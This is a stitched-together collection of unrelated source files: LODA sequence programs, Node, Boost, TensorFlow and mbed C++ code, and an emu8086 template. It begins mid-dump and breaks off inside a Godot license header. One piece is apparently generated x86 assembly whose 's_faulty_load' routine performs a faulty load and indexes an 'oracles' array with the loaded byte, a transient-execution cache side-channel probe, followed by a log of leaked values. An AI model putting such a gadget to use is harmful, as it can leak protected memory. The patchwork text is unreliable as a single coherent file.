44 44 45 45 44 45 45 45 45 44 44 45 45 45 44 44 44 44 44 44 44 44 44 45 45 45 45 45 45 45 45 44 44 44 45 45 45 45 44 44 45 44 44 44 44 45 45 44 44 44 45 45 44 44 44 44 44 44 45 44 45 45 44 44 44 45 45 45 45 44 44 44 45 45 45 45 45 45 44 45 45 45 44 44 45 45 45 45 44 44 44 44 44 44 44 45 44 44 44 44 45 45 45 44 45 45 45 45 45 44 44 44 44 45 45 44 45 44 44 45 44 45 45 45 45 45 44 44 44 45 45 44 44 44 44 45 45 45 45 45 45 45 45 44 45 44 44 45 45 44 44 44 45 44 44 45 45 45 45 45 45 44 44 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 44 44 44 45 45 44 45 44 44 44 44 45 45 44 44 44 45 45 45 45 44 44 44 44 44 45 45 45 45 45 45 45 44 44 44 44 44 44 44 44 44 45 45 45 45 45 45 45 44 44 44 44 45 45 45 45 45 45 45 45 44 45 44 44 44 44 44 44 44 44 44 44 45 44 45 45 45 45 44 44 44 45 45 45 45 45 45 44 44 45 45 45 44 44 45 45 44 44 44 44 44 44 44 44 45 44 44 44 44 44 44 44 44 44 44 45 45 45 45 44 44 44 44 45 45 45 44 44 44 44 45 44 44 44 45 44 44 45 45 45 45 45 44 45 44 45 45 45 45 44 44 44 44 44 44 45 45 45 45 44 45 44 45 44 45 45 45 45 45 44 45 45 44 44 44 44 44 44 44 44 45 45 45 44 44 44 45 44 44 44 45 44 44 45 45 44 44 44 44 45 45 44 44 45 45 45 44 44 44 44 44 45 45 45 45 44 44 44 44 45 44 44 45 45 45 44 45 45 45 45 44 44 45 45 45 44 45 45 45 45 44 44 44 44 44 45 45 45 45 44 45 44 45 45 45 45 45 44 44 44 44 45 45 45 44 44 44 45 44 45 45 44 44 44 44 45 45 45 44 45 44 44 44 45 45 45 45 44 44 45 44 45 44 44 45 45 45 44 44 44 44 44 44 44 44 44 45 45 45 45 45 45 45 44 44 44 45 45 45 45 44 44 44 45 45 44 44 44 44 44 44 45 45 45 45 45 44 44 44 44 45 44 44 44 44 44 44 44 45 44 45 44 44 44 45 45 44 45 45 45 44 44 45 45 44 45 44 44 44 45 44 44 44 44 44 44 44 44 45 45 45 45 44 44 44 45 45 45 44 45 44 45 45 44 45
*/
|
; A138411: a(n) = prime(n)^6 - prime(n)^4.
; 48,648,15000,115248,1756920,4798248,24054048,46915560,147756048,594116040,886580160,2563852248,4747278480,6317944248,10774335648,22156470648,42168416280,51506528520,90438231048,128074872240,151305828048,243048505440,326892915048,496918548720,832883475648,1061416090200,1193939745648,1500599272248,1676958952680,2081788705248,4195612770048,5053618644360,6611503975248,7212176112120,10942033702200,11853391702800,14975464258248,18754663666248,21691183800048,26807857587048,32893086819240,35160755043960,48549895409280,51681153061248,58450222170648,62102272359600,88243957513320,122976023274048,136819095471048,144213066743640,160002779244048,186371629573920,195927220742880,250054938063000,288132445045248,330923959603248,378885232267560,396104550524640,451723780629048,492302928578160,513704287497048,632704121164248,837193108846248,904810942061520,940289512579248,1014731755191048,1315115809712760,1464790724281248,1745714591250648,1806961902601800,1934838618195648,2140737031309680,2443392075798048,2693083811565048,2963686325586840,3156382909218048,3464932175604120,3915076793220648,4157799425440800,4680985025716080,5411051458418760,5567883307636440,6410048020716960,6590601634686048,7157887493837520,7558230710356248,8193621381321600,9109512181879248,9598503084721320,9851081683537248,10372878526227048,12078449494040640,13340494745563248,14011581307085880,15438373002249000,16195941290925648,17390217658463880,19999757961602640,20464849042701048,25071603260289480
seq $0,40 ; The prime numbers.
pow $0,2
add $1,$0
bin $0,2
mul $1,$0
mov $0,$1
div $0,12
mul $0,24
|
Name: kart-calc.asm
Type: file
Size: 9486
Last-Modified: '1991-11-29T03:29:32Z'
SHA-1: 65CA0DDD84B7627F8918DB8EB691C7AB32682F7D
Description: null
|
// Copyright (c) 2015 Anatoly Ikorsky
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the "Software"),
// to deal in the Software without restriction, including without limitation
// the rights to use, copy, modify, merge, publish, distribute, sublicense,
// and/or sell copies of the Software, and to permit persons to whom the
// Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
#include <nan.h>
#include <vector>
#include "tiff_multipage.h"
#include "async.h"
using Nan::AsyncWorker;
using Nan::HandleScope;
using Nan::Callback;
using v8::Array;
using v8::Function;
using v8::Local;
using v8::Value;
class TiffMultipageWorker : public AsyncWorker
{
public:
TiffMultipageWorker(Callback *callback, std::string output, std::vector<std::string> input)
: AsyncWorker(callback), result(NULL), output(output), input(input) {}
~TiffMultipageWorker() {}
void Execute() {
result = join(output, input);
}
void HandleOKCallback() {
HandleScope scope;
if (result == NULL) {
Local<Value> argv[] = {
Nan::Null(),
Nan::Null(),
};
callback->Call(2, argv);
} else {
Local<Value> argv[] = {
Nan::Error(result),
Nan::Null(),
};
callback->Call(2, argv);
}
}
private:
const char * result;
std::string output;
std::vector<std::string> input;
};
NAN_METHOD(JoinAsync) {
if (info.Length() != 3) {
return Nan::ThrowError(
"Expected arguments: (\"output/file/name\", [\"file\", \"names\", \"to\", \"join\"])");
} else if (! info[0]->IsString()) {
return Nan::ThrowTypeError("First argument is not a String");
} else if (! info[1]->IsArray()) {
return Nan::ThrowTypeError("Second argument is not an Array");
} else if (! info[2]->IsFunction()) {
return Nan::ThrowTypeError("Third argument is not a Function");
}
const Nan::Utf8String out_filename(info[0]);
std::string output(*out_filename, out_filename.length());
const Local<Array> in_filenames = info[1].As<Array>();
const uint32_t in_filenames_len = in_filenames->Length();
if (in_filenames_len == 0) {
return Nan::ThrowError("Non input files");
}
std::vector<std::string> input(in_filenames_len);
for (uint32_t i = 0; i < in_filenames_len; ++i)
{
Local<Value> name = Nan::Get(in_filenames, i).ToLocalChecked();
if (! name->IsString()) {
return Nan::ThrowTypeError("Non string found in input file names array");
}
Nan::Utf8String input_file_name(name);
input[i] = std::string(*input_file_name, input_file_name.length());
}
Callback *callback = new Callback(info[2].As<Function>());
AsyncQueueWorker(new TiffMultipageWorker(callback, output, input));
}
|
; A055417: Number of points in N^n of norm <= 2.
; Submitted by Jamie Morken(s1)
; 1,3,6,11,20,36,63,106,171,265,396,573,806,1106,1485,1956,2533,3231,4066,5055,6216,7568,9131,10926,12975,15301,17928,20881,24186,27870,31961,36488,41481,46971,52990,59571,66748,74556,83031,92210,102131,112833,124356,136741,150030,164266,179493,195756,213101,231575,251226,272103,294256,317736,342595,368886,396663,425981,456896,489465,523746,559798,597681,637456,679185,722931,768758,816731,866916,919380,974191,1031418,1091131,1153401,1218300,1285901,1356278,1429506,1505661,1584820,1667061,1752463
mov $1,$0
add $0,1
mul $0,2
bin $1,3
add $1,$0
add $1,2
mul $0,$1
div $0,8
|
; A329930: a(n) = n!^2*(Sum_{k=1..n} 1/k).
; Submitted by Jamie Morken(s4)
; 0,1,6,66,1200,32880,1270080,65862720,4418426880,372523898880,38569208832000,4811724352512000,712008517828608000,123312192439468032000,24712050750746591232000,5674212235766262988800000,1479958528399750515916800000,435149988031383614993203200000
mov $1,1
lpb $0
sub $0,1
add $2,1
mul $3,$2
add $3,$1
mul $1,$2
lpe
mul $1,$3
mov $0,$1
|
#include <boost/config.hpp>
// wp_convertible_test.cpp
//
// Copyright (c) 2008 Peter Dimov
//
// Distributed under the Boost Software License, Version 1.0.
// See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt
#include <boost/detail/lightweight_test.hpp>
#include <boost/intrusive_ptr.hpp>
//
struct W
{
};
void intrusive_ptr_add_ref( W* )
{
}
void intrusive_ptr_release( W* )
{
}
struct X: public virtual W
{
};
struct Y: public virtual W
{
};
struct Z: public X
{
};
int f( boost::intrusive_ptr<X> )
{
return 1;
}
int f( boost::intrusive_ptr<Y> )
{
return 2;
}
int main()
{
BOOST_TEST( 1 == f( boost::intrusive_ptr<Z>() ) );
return boost::report_errors();
}
|
/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/distributed_runtime/rpc/rpc_rendezvous_mgr.h"
#include <unordered_set>
#include "tensorflow/core/common_runtime/device.h"
#include "tensorflow/core/common_runtime/device_mgr.h"
#include "tensorflow/core/common_runtime/dma_helper.h"
#include "tensorflow/core/common_runtime/process_util.h"
#include "tensorflow/core/distributed_runtime/request_id.h"
#include "tensorflow/core/distributed_runtime/tensor_coding.h"
#include "tensorflow/core/distributed_runtime/worker_cache.h"
#include "tensorflow/core/distributed_runtime/worker_interface.h"
#include "tensorflow/core/framework/types.h"
#include "tensorflow/core/lib/core/errors.h"
#include "tensorflow/core/lib/strings/numbers.h"
#include "tensorflow/core/lib/strings/str_util.h"
#include "tensorflow/core/platform/logging.h"
#include "tensorflow/core/platform/macros.h"
#include "tensorflow/core/platform/types.h"
namespace tensorflow {
namespace {
class RpcRemoteRendezvous : public BaseRemoteRendezvous {
public:
RpcRemoteRendezvous(const WorkerEnv* env, int64 step_id)
: BaseRemoteRendezvous(env, step_id) {}
protected:
void RecvFromRemoteAsync(const Rendezvous::ParsedKey& parsed,
const Rendezvous::Args& args,
DoneCallback done) override;
private:
~RpcRemoteRendezvous() override {}
TF_DISALLOW_COPY_AND_ASSIGN(RpcRemoteRendezvous);
};
// Used only to retrieve tensors from remote processes.
class RpcRecvTensorCall : public BaseRecvTensorCall {
public:
RpcRecvTensorCall() : wi_(nullptr), dst_device_(nullptr) {}
void Init(WorkerInterface* wi, int64 step_id, StringPiece key,
AllocatorAttributes alloc_attrs, Device* dst_device,
const Rendezvous::Args& recv_args, Rendezvous::DoneCallback done) {
wi_ = wi;
alloc_attrs_ = alloc_attrs;
dst_device_ = dst_device;
recv_args_ = recv_args;
done_ = std::move(done);
req_.set_step_id(step_id);
req_.set_rendezvous_key(key.data(), key.size());
req_.set_request_id(GetUniqueRequestId());
}
void Reset() {
// The RpcRemoteRendezvous using this object is responsible for calling
// ReleaseWorker() before Reset().
DCHECK_EQ(static_cast<WorkerInterface*>(nullptr), wi_)
<< "Leaking WorkerInterface in RpcRecvTensorCall::Reset().";
alloc_attrs_ = AllocatorAttributes();
dst_device_ = nullptr;
// We don't clear opts_ and assume that Init will set up the state for
// opts_ appropriately.
req_.Clear();
resp_.Clear();
{
mutex_lock l(mu_);
status_ = Status::OK();
}
done_ = nullptr;
}
~RpcRecvTensorCall() override {
// Since only the RpcRecvTensorFreeList will delete an
// RpcRecvTensorCall, we require that ReleaseWorker() has been called before
// the user releases a Call object to the free list.
CHECK_EQ(static_cast<WorkerInterface*>(nullptr), wi_)
<< "Leaking WorkerInterface in RpcRecvTensorCall destructor.";
}
void Start(std::function<void()> recv_done) override {
StartRTCall(std::move(recv_done));
}
void StartAbort(const Status& s) override {
{
mutex_lock l(mu_);
status_.Update(s);
}
opts_.StartCancel();
}
Status status() const override {
mutex_lock l(mu_);
return status_;
}
void ReleaseWorker(WorkerCacheInterface* worker_cache) {
DCHECK_NE(static_cast<WorkerInterface*>(nullptr), wi_)
<< "RpcRecvTensorCall::ReleaseWorker() called twice.";
worker_cache->ReleaseWorker(src_worker_, wi_);
wi_ = nullptr;
}
const Tensor& tensor() const { return resp_.tensor(); }
bool is_dead() const { return resp_.metadata().is_dead(); }
Device* dst_device() const { return dst_device_; }
const Rendezvous::Args& recv_args() const { return recv_args_; }
const Rendezvous::DoneCallback& done() const { return done_; }
private:
friend class RpcRemoteRendezvous;
// Start the main RecvTensor call, checking for an async abort.
void StartRTCall(std::function<void()> recv_done) {
resp_.InitAlloc(dst_device_, alloc_attrs_);
using namespace std::placeholders;
StatusCallback cb = std::bind(
[this](std::function<void()> recv_done,
// Begin unbound arguments.
const Status& s) {
if (!s.ok()) {
mutex_lock l(mu_);
status_.Update(s);
}
recv_done();
},
std::move(recv_done), _1);
wi_->RecvTensorAsync(&opts_, &req_, &resp_, std::move(cb));
}
string src_worker_;
string src_rel_device_;
WorkerInterface* wi_; // Not owned.
AllocatorAttributes alloc_attrs_;
Device* dst_device_;
CallOptions opts_;
RecvTensorRequest req_;
TensorResponse resp_;
Rendezvous::Args recv_args_;
Rendezvous::DoneCallback done_;
mutable mutex mu_;
Status status_ GUARDED_BY(mu_);
TF_DISALLOW_COPY_AND_ASSIGN(RpcRecvTensorCall);
};
class RpcRecvTensorFreeList {
public:
RpcRecvTensorFreeList() {}
~RpcRecvTensorFreeList() {
for (size_t i = 0; i < objects_.size(); i++) {
delete objects_[i];
}
}
RpcRecvTensorCall* New() {
{
mutex_lock l(mu_);
if (!objects_.empty()) {
RpcRecvTensorCall* result = objects_.back();
objects_.pop_back();
return result;
}
}
return new RpcRecvTensorCall;
}
void Release(RpcRecvTensorCall* obj) {
obj->Reset();
{
mutex_lock l(mu_);
if (objects_.size() < kMaxObjects) {
objects_.push_back(obj);
return;
}
}
delete obj;
}
private:
static const int kMaxObjects = 1000;
mutex mu_;
std::vector<RpcRecvTensorCall*> objects_ GUARDED_BY(mu_);
};
static RpcRecvTensorFreeList* get_call_freelist() {
static RpcRecvTensorFreeList* call_freelist = new RpcRecvTensorFreeList();
return call_freelist;
}
void RpcRemoteRendezvous::RecvFromRemoteAsync(
const Rendezvous::ParsedKey& parsed, const Rendezvous::Args& recv_args,
DoneCallback done) {
CHECK(is_initialized());
Status s;
// Prepare a RecvTensor call that can handle being aborted.
RpcRecvTensorCall* call = get_call_freelist()->New();
// key.src_device identifies a remote device.
if (!DeviceNameUtils::SplitDeviceName(parsed.src_device, &call->src_worker_,
&call->src_rel_device_)) {
s = errors::Internal(parsed.src_device,
" is invalid remote source device.");
}
WorkerSession* sess = session();
// The worker will be released in a subsequent call to
// `sess->worker_cache->ReleaseWorker()` (if the call has not yet been
// initialized) or `call->ReleaseWorker()` (if it has been initialized).
WorkerInterface* rwi =
sess->worker_cache->GetOrCreateWorker(call->src_worker_);
if (s.ok() && rwi == nullptr) {
s = errors::Internal("No worker known as ", call->src_worker_);
}
Device* dst_device;
if (s.ok()) {
s = sess->device_mgr()->LookupDevice(parsed.dst_device, &dst_device);
}
if (!s.ok()) {
if (rwi != nullptr) {
sess->worker_cache->ReleaseWorker(call->src_worker_, rwi);
}
get_call_freelist()->Release(call);
done(s, Args(), recv_args, Tensor{}, false);
return;
}
call->Init(rwi, step_id_, parsed.FullKey(), recv_args.alloc_attrs, dst_device,
recv_args, std::move(done));
// Record "call" in active_ so that it can be aborted cleanly.
RegisterCall(call);
// RendezvousMgr already aborted, shouldn't send RPC call any more
if (!call->status().ok()) {
// NOTE: `*sess` can potentially be deleted before we return from
// `call->done()(...)`, so we must release the worker before calling the
// callback.
call->ReleaseWorker(sess->worker_cache.get());
call->done()(call->status(), Args(), Args(), Tensor(), false);
get_call_freelist()->Release(call);
return;
}
// Start "call".
Ref();
call->Start([this, call]() {
// Removes "call" from active_. Prevent StartAbort().
DeregisterCall(call);
// If StartAbort was called prior to DeregisterCall, then the
// current status should be bad.
Status s = call->status();
// NOTE: `*session()` can potentially be deleted before we return from
// `call->done()(...)`, so we must release the worker before calling the
// callback.
call->ReleaseWorker(session()->worker_cache.get());
call->done()(s, Args(), call->recv_args(), call->tensor(), call->is_dead());
get_call_freelist()->Release(call);
Unref();
});
}
} // namespace
RpcRendezvousMgr::RpcRendezvousMgr(const WorkerEnv* env)
: BaseRendezvousMgr(env) {}
BaseRemoteRendezvous* RpcRendezvousMgr::Create(int64 step_id,
const WorkerEnv* worker_env) {
return new RpcRemoteRendezvous(worker_env, step_id);
}
} // end namespace tensorflow
|
; You may customize this and other start-up templates;
; The location of this template is c:\emu8086\inc\0_com_template.txt
org 100h
MOV AX, 04
ADD AX, 02
ADD AX, 01
MOV CX, AX
ret
|
/* mbed Microcontroller Library
* Copyright (c) 2016 ARM Limited
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#if !DEVICE_LPTICKER
#error [NOT_SUPPORTED] Low power timer not supported for this target
#endif
#include "mbed.h"
#include "greentea-client/test_env.h"
#include "utest/utest.h"
#include "unity/unity.h"
#include "../timeout/timeout_tests.h"
using namespace utest::v1;
utest::v1::status_t greentea_failure_handler(const Case *const source, const failure_t reason)
{
greentea_case_failure_abort_handler(source, reason);
return STATUS_CONTINUE;
}
Case cases[] = {
Case("Callback called once (attach)", test_single_call<AttachTester<LowPowerTimeout> >),
Case("Callback called once (attach_us)", test_single_call<AttachUSTester<LowPowerTimeout> >),
Case("Callback not called when cancelled (attach)", test_cancel<AttachTester<LowPowerTimeout> >),
Case("Callback not called when cancelled (attach_us)", test_cancel<AttachUSTester<LowPowerTimeout> >),
Case("Callback override (attach)", test_override<AttachTester<LowPowerTimeout> >),
Case("Callback override (attach_us)", test_override<AttachUSTester<LowPowerTimeout> >),
Case("Multiple timeouts running in parallel (attach)", test_multiple<AttachTester<LowPowerTimeout> >),
Case("Multiple timeouts running in parallel (attach_us)", test_multiple<AttachUSTester<LowPowerTimeout> >),
Case("Zero delay (attach)", test_no_wait<AttachTester<LowPowerTimeout> >),
Case("Zero delay (attach_us)", test_no_wait<AttachUSTester<LowPowerTimeout> >),
Case("10 ms delay accuracy (attach)", test_delay_accuracy<AttachTester<LowPowerTimeout>, 10000, SHORT_DELTA_US>,
greentea_failure_handler),
Case("10 ms delay accuracy (attach_us)", test_delay_accuracy<AttachUSTester<LowPowerTimeout>, 10000, SHORT_DELTA_US>,
greentea_failure_handler),
Case("1 s delay accuracy (attach)", test_delay_accuracy<AttachTester<LowPowerTimeout>, 1000000, LONG_DELTA_US>,
greentea_failure_handler),
Case("1 s delay accuracy (attach_us)", test_delay_accuracy<AttachUSTester<LowPowerTimeout>, 1000000, LONG_DELTA_US>,
greentea_failure_handler),
Case("5 s delay accuracy (attach)", test_delay_accuracy<AttachTester<LowPowerTimeout>, 5000000, LONG_DELTA_US>,
greentea_failure_handler),
Case("5 s delay accuracy (attach_us)", test_delay_accuracy<AttachUSTester<LowPowerTimeout>, 5000000, LONG_DELTA_US>,
greentea_failure_handler),
#if DEVICE_SLEEP
Case("1 s delay during sleep (attach)", test_sleep<AttachTester<LowPowerTimeout>, 1000000, LONG_DELTA_US>,
greentea_failure_handler),
Case("1 s delay during sleep (attach_us)", test_sleep<AttachUSTester<LowPowerTimeout>, 1000000, LONG_DELTA_US>,
greentea_failure_handler),
Case("1 s delay during deepsleep (attach)", test_deepsleep<AttachTester<LowPowerTimeout>, 1000000, LONG_DELTA_US>,
greentea_failure_handler),
Case("1 s delay during deepsleep (attach_us)", test_deepsleep<AttachUSTester<LowPowerTimeout>, 1000000, LONG_DELTA_US>,
greentea_failure_handler),
#endif
#if !defined(SKIP_TIME_DRIFT_TESTS)
Case("Timing drift (attach)", test_drift<AttachTester<LowPowerTimeout> >),
Case("Timing drift (attach_us)", test_drift<AttachUSTester<LowPowerTimeout> >),
#endif
};
utest::v1::status_t greentea_test_setup(const size_t number_of_cases)
{
GREENTEA_SETUP(240, "timing_drift_auto");
return greentea_test_setup_handler(number_of_cases);
}
Specification specification(greentea_test_setup, cases, greentea_test_teardown_handler);
int main()
{
Harness::run(specification);
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xc130, %rsi
lea addresses_WT_ht+0x17bd8, %rdi
nop
nop
nop
dec %r15
mov $13, %rcx
rep movsw
nop
xor $22626, %rdi
lea addresses_WT_ht+0x13d8, %rsi
nop
nop
nop
nop
inc %rbx
movw $0x6162, (%rsi)
nop
nop
nop
cmp $41811, %rdi
lea addresses_normal_ht+0x12e00, %r15
nop
nop
nop
nop
and $46279, %rcx
mov $0x6162636465666768, %rax
movq %rax, %xmm2
vmovups %ymm2, (%r15)
nop
nop
cmp %rbx, %rbx
lea addresses_A_ht+0x97d8, %rsi
lea addresses_WT_ht+0x5a0f, %rdi
nop
nop
nop
xor %rbp, %rbp
mov $87, %rcx
rep movsb
xor %rdi, %rdi
lea addresses_A_ht+0x95d8, %rcx
nop
nop
nop
nop
nop
xor %rax, %rax
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
movups %xmm4, (%rcx)
nop
nop
nop
xor $31480, %rbx
lea addresses_WC_ht+0x1d3d8, %rsi
lea addresses_WC_ht+0x1d179, %rdi
nop
nop
and $21081, %r12
mov $86, %rcx
rep movsb
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x18400, %r12
clflush (%r12)
nop
nop
nop
and %rcx, %rcx
mov $0x6162636465666768, %r15
movq %r15, %xmm6
movups %xmm6, (%r12)
nop
nop
nop
and %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r8
push %r9
push %rax
push %rdi
// Load
lea addresses_A+0x13f58, %r15
xor %r13, %r13
movb (%r15), %al
nop
nop
nop
xor %r8, %r8
// Store
lea addresses_US+0xcbd8, %r13
nop
nop
and $55037, %r9
movb $0x51, (%r13)
nop
nop
nop
nop
nop
inc %r12
// Store
lea addresses_normal+0x1cbd8, %r13
add $51426, %r15
movw $0x5152, (%r13)
nop
nop
nop
and $33974, %rax
// Faulty Load
lea addresses_US+0xcbd8, %rdi
nop
cmp %r12, %r12
vmovups (%rdi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %r13
lea oracles, %r8
and $0xff, %r13
shlq $12, %r13
mov (%r8,%r13,1), %r13
pop %rdi
pop %rax
pop %r9
pop %r8
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 11}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'52': 21349, '51': 480}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 51 52 52 52 52 51 52 52 52 52 52 51 52 52 52 52 52 52 52 52 51 51 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
/*************************************************************************/
/* editor_themes.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* https://godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur. */
/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md) */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
